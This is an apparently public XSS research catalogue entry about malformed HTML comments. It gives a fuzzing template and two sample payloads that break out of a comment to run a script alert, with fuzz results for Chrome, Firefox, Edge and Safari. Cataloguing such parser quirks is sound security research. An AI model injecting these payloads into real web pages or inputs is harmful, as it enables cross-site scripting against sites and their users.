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Malformed HTML comments

Chrome logo 2
Firefox logo 2
Edge logo 2
Safari logo 2

This vector shows which characters close a malformed HTML comment

hackvertor
Created byhackvertor
Created Jan 17, 2025
Updated May 28, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
--><!--$[chr]><script>log($[i])</script>

Sample payloads

--><!---><script>alert(45)</script>
--><!-->><script>alert(62)</script>

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0

Updated

Sun Jan 25 2026
Found 2 results
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Chrome logo
Chrome 132.0.0.0 desktop macOS 10.15.7older version

Updated

Fri Jan 17 2025
Found 2 results
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Firefox logo
Firefox 147.0 desktop Windows NT 10.0

Updated

Sat Jan 31 2026
Found 2 results
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Firefox logo
Firefox 134.0 desktop macOS 10.15older version

Updated

Fri Jan 17 2025
Found 2 results
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Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0

Updated

Mon Jan 26 2026
Found 2 results
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Safari logo
Safari 18.4 mobile iOS 18.4.1

Updated

Fri May 09 2025
Found 2 results
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Safari logo
Safari 18.2 desktop macOS 10.15.7older version

Updated

Fri Jan 17 2025
Found 2 results
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